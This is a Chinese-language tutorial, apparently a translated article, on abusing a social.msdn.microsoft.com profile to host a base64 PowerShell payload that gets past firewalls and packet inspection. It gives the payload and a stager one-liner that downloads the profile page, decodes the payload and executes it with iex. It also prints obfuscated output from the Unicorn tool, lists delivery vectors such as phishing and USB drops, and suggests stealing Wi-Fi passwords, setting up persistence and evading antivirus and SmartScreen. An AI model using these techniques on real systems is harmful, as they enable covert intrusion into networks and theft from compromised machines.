當前位置:
首頁 > 新聞 > 使用Microsoft.com域來繞過防火牆並執行有效載荷

使用Microsoft.com域來繞過防火牆並執行有效載荷

Microsoft.com是互聯網上最廣泛的域名之一,目前擁有數千個註冊的子域名。Windows 10將每小時對這些子域進行數百次ping操作,這對防火牆和監控操作系統發出的所有請求構成了安全挑戰,攻擊者可以使用這些子域來提供有效載荷以逃避網路防火牆。

最近,當我試圖在社交媒體上分享一篇文章時,Twitter阻止我在tweet窗口中輸入一個簡單的PowerShell命令。之後,Twitter顯示了一條錯誤消息,說明該推文無法提交。

我突然想到,黑客過去一直在twitter上發布PowerShell命令,目的是將該服務用作一個有效的載荷託管系統。這個概念並不新鮮,讓我想到了可以類似使用的其他流行域名,以及該活動對攻擊可能帶來的潛在好處。比如,你可以閱讀一下這篇文章《在不到2小時內入侵200個社交媒體賬號》。

為什麼使用Microsoft域而不是專用的VPS?

最顯著的優勢可能是這些流行域對網路防火牆和高度安全環境的影響,攻擊者將在Microsoft域上託管其有效載荷。當目標計算機試圖下載Windows 10時,經過強化的操作系統和網路將更有可能允許Web請求遍歷網路並繞過防火牆和組織設置的入侵檢測系統(IDS)。

Windows 10計算機每天可以ping數萬次。即使使用了強化設置,Windows 10也會對Microsoft伺服器進行數千次ping操作。需要一些傳輸到Microsoft域和從Microsoft域傳輸的數據,來維護系統更新和操作系統的其他重要方面。

攻擊者可以利用這些信息來為攻擊做準備,以下面的Wireshark捕獲為例,你注意到什麼異常了嗎?

「social.msdn.microsoft.com」域名僅用於下載攻擊者的有效載荷。對於任何執行深度包檢測(DPI)的人來說,這種流量看起來大多是良性的,該域名屬於Microsoft針對開發人員和日常Windows 10用戶的社區論壇。請求(TCP / TLS)被加密,因此進一步檢查數據包是不會顯示網頁或內容(即有效載荷)的完整路徑的,觀察網路上此流量的管理員可能會認為目標用戶只是在瀏覽Microsoft論壇。

導航到攻擊者設置的頁面,我們可以看到嵌入到「關於我」部分的有效載荷。

許多Microsoft擁有的域可用於此類活動,如Microsoft Answers,Office Forms,OneDrive,甚至其他Microsoft新聞媒體的評論部分,所有這些合法的Microsoft域都允許用戶輸入可以被濫用來承載有效載荷。

第1步:創建有效載荷

我們要先定義將在目標計算機上執行的最後一段代碼。為了簡單起見,有效載荷將在Documents\文件夾中創建一個名為pwn_sauce的空文本文件。注意三重反斜杠(\\\),在Bash(Kali終端)中,需要將有效載荷中的PowerShell變數作為文字字元串傳遞。

powershell -ep bypass /w 1 /C New-Item -

ItemType file "C:\Users\\\$env:USERNAME\Documents\pwn_sauce"

PowerShell將使用繞過執行策略(-ep),同時使用/w 1隱藏終端彈出窗口。New-Item cmdlet用於創建一個新文件,在文件名的路徑中,用戶名環境變數用於自動插入受感染用戶的用戶名。它可以在任何Windows 10計算機上執行,創建Documents \文件夾中的新文件,而無需修改命令的任何部分。

上面屏幕截圖中的簡單命令可以直接嵌入「關於我」部分,包含特殊字元的複雜PowerShell有效內容必須是base64編碼的。否則,Microsoft的伺服器將檢測並清理特殊字元(例如&),Base64編碼有效載荷是解決該問題的一種快捷方法。

~# printf "%s" "PAYLOAD GOES HERE" | base64

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

使用擴展命令,base64可能會產生多個編碼行。在PowerShell中使用base64字元串時,它們需要出現在一行中。通過將base64輸出管道連接到tr中來刪除(-d)新行(\n),將許多行連接到一個字元串中。

~# printf "%s" "PAYLOAD GOES HERE" | base64 | tr -d "\n"

cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC93IDEgL0MgTmV3LUl0ZW0gLUl0ZW1UeXBlIGZpbGUgJ0M6XFVzZXJzXCRlbnY6VVNFUk5BTUVcRG9jdW1lbnRzXHB3bl9zYXVjZSc=

這是用於設置有效載荷的,讓我們繼續創建Microsoft帳戶並設置stager。

第2步:創建Microsoft帳戶

需要Microsoft帳戶才能創建和修改託管有效內容的配置文件頁面,導航到Live登錄頁面以啟動該過程。

登錄後,導航到social.msdn.microsoft.com/Profile/USERNAME上的用戶個人資料頁面,然後單擊「編輯我的個人資料」選項,以更新「關於我」部分。

第3步:在Microsoft網站上託管有效載荷

Microsoft配置文件頁面上的「關於我」部分可以容納1024個字元,在創建有效載荷時應注意這一點,尤其是在使用base64編碼有效載荷時,因為它會增加字元數。可以以明文形式託管有效載荷,但PowerShell stager需要包含一些代碼來檢測並以純文本格式轉換已清理的HTML字元串。

將所需的有效載荷粘貼到START和END之間的「關於我」部分,這對下一步的stager至關重要,它將分析Microsoft頁面上的所有HTML並提取「START」和「END」標識符之間的編碼字元串。

完成後,單擊頁面底部的「保存」按鈕。

第4步:創建Stager

下面的PowerShell一行程序用於下載Microsoft用戶的個人資料頁面,提取編碼的有效載荷,對其進行解碼,然後執行它。

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;$r = [Regex]::new("(?

有多個用分號分隔的命令鏈接在一起,我將分解下面的每個命令。

$wro = iwr -Uri https://social.msdn.microsoft.com/Profile/USERNAME -UseBasicParsing;

上圖:Invoke-WebRequest (iwr) cmdlet用於獲取帶有- usebasicparser參數的頁面,所有這些被設置到$wro (WebResponseObject)變數中。雖然不推薦使用usebasicparser參數,但它可以用於啟用基本解析。我發現需要手動設置此參數才能使請求成功。

$r = Regex::new("(?

上圖:PowerShell將使用正則表達式模式來定位HTML中的有效載荷,還有其他方法可以使用PowerShell從網頁中提取內容,但這種方法具有普遍性。嵌入到任何網站的START和END中的有效載荷將被此命令過濾掉。

$m = $r.Match($wro.rawcontent);

上圖:它將為匹配正則表達式模式的任何文本創建變數$ m。

if($m.Success)

{ $p = System.Text.Encoding::UTF8.GetString(System.Convert::FromBase64String($m.value)); ...}

上圖:如果在$ m變數中找到任何模式,則解碼(FromBase64String)字元串並將其設置為$ p變數。

iex $p

上圖:使用Invoke-Expression(iex)執行$p變數。在這種情況下,$p是PowerShell有效載荷。要測試它,可以使用echo命令替換iex命令,如下所示。

第5步:混淆PowerShell Stager(可選)

攻擊者可能需要使用像Unicorn這樣的工具來混淆stager。要深入了解Unicorn,請查看「如何創建無法檢測的有效載荷」和官方GitHub頁面以獲取詳細信息。

~# python unicorn.py stager.ps1

,/

//

,//

___ /| |//

`__/\_ --(/|___/-/

\|\_-\___ __-_`- /-/ \.

|\_-___,-\_____--/_)" ) \

\ -_ / __ \( `( __`\|

`\__| |\)\ ) /(/|

,._____., ",--//-| \ | " /

/ __. \, / /,---| \ /

/ / _. \ \ `/`_/ _," | |

| | ( ( \ | ,/\"__/"/ | |

| \ \`--, `_/_------______/ \( )/

| | \ \_. \, \___/\

| | \_ \ \ \

\ \ \_ \ \ / \

\ \ \._ \__ \_| | \

\ \___ \ \ | \

\__ \__ \ \_ | \ |

| \_____ \ ____ | |

| \ \__ ---" .__\ | | |

\ \__ --- / ) | \ /

\ \____/ / ()( \ `---_ /|

\__________/(,--__ \_________. | ./ |

| \ \ `---_\--, \ \_,./ |

| \ \_ ` \ /`---_______-\ \\ /

\ \.___,`| / \ \\ \

\ | \_ \| \ ( |: |

\ \ \ | / / | ;

\ \ \ \ ( `_" \ |

\. \ \. \ `__/ | |

\ \ \. \ | |

\ \ \ \ ( )

\ | \ | | |

| \ \ \ I `

( __; ( _; ("-_";

|___\ \___: \___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)

Twitter: @TrustedSec, @HackingDave

[*] Exported powershell output code to powershell_attack.txt

然後,使用「powershell_attack.txt」文件找到混淆的stager。

~# cat powershell_attack.txt

powershell /w 1 /C "s\"\"v ic -;s\"\"v tHL e\"\"c;s\"\"v NwW ((g\"\"v ic).value.toString() (g\"\"v tHL).value.toString());powershell (g\"\"v NwW).value.toString() ("JAB3AHIAbwAgAD0AIABpAHcAcgAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AcwBvAGMAaQBhAGwALgBtAHMAZABuAC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFAAcgBvAGYAaQBsAGUALwBVAFMARQBSAE4AQQBNAEUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsAJAByACAAPQAgAFsAUgBlAGcAZQB4AF0AOgA6AG4AZQB3ACgAIgAoAD8APAA9AFMAVABBAFIAVAApACgALgAqACkAKAA/AD0ARQBOAEQAKQAiACkAOwAkAG0AIAA9ACAAJAByAC4ATQBhAHQAYwBoACgAJAB3AHIAbwAuAHIAYQB3AGMAbwBuAHQAZQBuAHQAKQA7AGkAZgAoACQAbQAuAFMAdQBjAGMAZQBzAHMAKQB7ACAAJABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0ALgB2AGEAbAB1AGUAKQApADsAaQBlAHgAIAAkAHAAIAB9AAoA")"

第6步:部署Stager

部署Stager是為USB Rubber Ducky設計和測試的,但是,在目標設備上執行代碼還有很多其他方法。以下是可能的攻擊向量的列表:

Man-in-the-middle:像Mitmf(現已棄用)和Bettercap這樣的工具能夠攔截下載並用惡意文件替換它們。

電子郵件附件:網路釣魚攻擊是攻擊者試圖破壞組織的主要方式之一,有些組織規模太大,無法為員工提供足夠的安全意識培訓,這使其成為一種有效的攻擊手段。

USB Dead Drop:USB drop的成功率接近50%。許多人可能會被欺騙,把一個隨機的u盤插入他們的計算機。

USB Rubber Ducky

第7步:優化攻擊

攻擊者可以採取更多措施來優化這種攻擊。

濫用Google.com託管有效載荷:

使用Google.com託管有效載荷是對攻擊的一種優化改進,與*.microsoft.com一樣,大多數防火牆都不會阻止直接向google.com發出的GET請求。

直接在Google上託管有效載荷比較棘手,這是因為谷歌是一個搜索引擎,因此攻擊者需要通過創建一個谷歌可以索引的網站來利用它。然後,他們需要創建一個包含有效載荷的Web路徑作為文件名。稍後將通過識別href而不是關於我的部分(下面的示例)的主體來獲取有效載荷。目標計算機實際上永遠不會查詢攻擊者的網站,因此有效載荷將完全使用谷歌搜索引擎獲得。

有目的的有效載荷:

本文介紹了一個非常簡單的PowerShell載荷,它在Documents \文件夾中創建了一個空文本文件。實際上,攻擊者可能會嘗試泄露Wi-Fi密碼,使用schtasks之類的工具建立持久性,或者在StartUp \文件夾中刪除EXE。

然而,如果離開網路的數據是一個障礙,那麼很可能很容易檢測到一個通用的TCP反向shell,這會破壞在stager中使用Microsoft或Google域的目的。在這種情況下,可能更希望將目標計算機用作Wi-Fi熱點並創建SMB共享。此類攻擊將允許攻擊者連接到目標的Wi-Fi熱點(繞過原始網路)並盜取計算機上的文件。

逃避SmartScreen:

SmartScreen 篩選器是 Internet Explorer 以及 Microsoft Edge 中的一種幫助檢測仿冒網站的功能,SmartScreen 篩選器還可以阻止安裝惡意軟體。當你在 Web 中瀏覽時,它在後台運行,可分析網頁並確定這些網頁是否有任何可能值得懷疑的特徵。一旦發現可疑的網頁,SmartScreen 篩選器將顯示一則消息,給您以提供反饋的機會並提示您謹慎處理。

在我的短時間測試中(沒有Unicorn混淆),一個經過編譯的PowerShell stager(EXE)能夠在一台裝有安全防護方案的Windows 10計算機上繞過Chrome瀏覽器、Windows Defender和Avast防病毒軟體。另一方面,SmartScreen將提示用戶手動執行由「未知發布者」(即攻擊者)創建的EXE。本文重點介紹了如何繞過網路防火牆,今後我們將介紹如何簽署可執行文件並繞過SmartScreen。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

Comodo殺毒軟體爆多個漏洞
數據說話:關於軟體供應鏈的真相

TAG:嘶吼RoarTalk |